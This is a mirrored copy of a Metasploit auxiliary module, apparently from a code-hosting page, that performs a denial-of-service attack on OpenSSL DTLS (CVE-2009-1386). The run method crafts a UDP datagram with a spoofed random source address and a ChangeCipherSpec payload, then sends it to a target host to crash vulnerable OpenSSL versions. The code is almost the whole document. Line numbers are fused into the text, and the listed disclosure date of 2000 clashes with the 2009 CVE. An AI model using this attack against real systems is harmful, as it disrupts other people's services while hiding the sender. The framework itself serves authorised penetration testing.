Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/auxiliary/dos/ssl/dtls_changecipherspec.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Auxiliary::Dos7include Msf::Exploit::Capture89def initialize(info = {})10super(update_info(info,11'Name' => 'OpenSSL DTLS ChangeCipherSpec Remote DoS',12'Description' => %q{13This module performs a Denial of Service Attack against Datagram TLS in OpenSSL14version 0.9.8i and earlier. OpenSSL crashes under these versions when it receives a15ChangeCipherspec Datagram before a ClientHello.16},17'Author' => [18'Jon Oberheide <jon[at]oberheide.org>', #original code19'theLightCosine' # metasploit module20],21'License' => MSF_LICENSE,22'References' =>23[24[ 'CVE', '2009-1386' ],25[ 'OSVDB', '55073'],26],27'DisclosureDate' => '2000-04-26'))2829register_options([30Opt::RPORT(80),31Opt::RHOST32]33)3435deregister_options('FILTER','PCAPFILE', 'INTERFACE', 'SNAPLEN', 'TIMEOUT')36end3738def run39open_pcap40print_status("Creating DTLS ChangeCipherSpec Datagram...")41p = PacketFu::UDPPacket.new42p.ip_daddr = datastore['RHOST']43p.ip_src = rand(0x100000000)44p.ip_ttl = 4445p.udp_sport = 3406046p.udp_dport = datastore['RPORT'].to_i47p.payload = "\x14\xfe\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x01"48p.recalc49print_status("Sending Datagram to target...")50capture_sendto(p, '255.255.255.255')51close_pcap52end53end545556